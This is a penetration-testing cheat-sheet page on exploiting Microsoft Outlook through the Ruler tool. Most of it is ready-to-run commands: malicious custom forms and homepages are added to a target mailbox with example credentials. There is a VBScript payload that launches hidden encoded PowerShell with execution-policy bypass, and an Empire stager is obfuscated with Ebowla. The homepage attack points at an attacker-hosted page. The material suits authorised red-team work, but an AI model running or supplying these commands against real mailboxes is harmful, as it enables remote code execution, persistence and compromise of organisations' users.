> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/perimeter/outlook.md). # Outlook ## Ruler * ### Rules * * ### Forms * * Display forms: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug form display ``` Exploit: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug form add --suffix test-form --input vbs-payload.txt --send ``` `vbs-payload.txt`: ``` CreateObject("WScript.Shell").Run "powershell -exec bypass -enc ", 0, false ``` Clean up: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug form delete --suffix test-form ``` Empire stager encryption: ``` $ grep -e output_type -e payload_type -e clean_output -e userdomain genetic.config output_type = GO payload_type = DLL_x64 clean_output = True userdomain = 'MEGACORP' $ python ebowla.py https443.dll genetic.config $ ./build_x64_go.sh output/go_symmetric_https443.dll.go https443.exe --hidden ``` ### Homepage * * Exploit: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug homepage add --url http://10.10.13.37/homepage.html ``` `homepage.html`: ```xml Outlook ``` Clean up: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug homepage delete ``` Stager encryption is the same as for Ruler/Forms.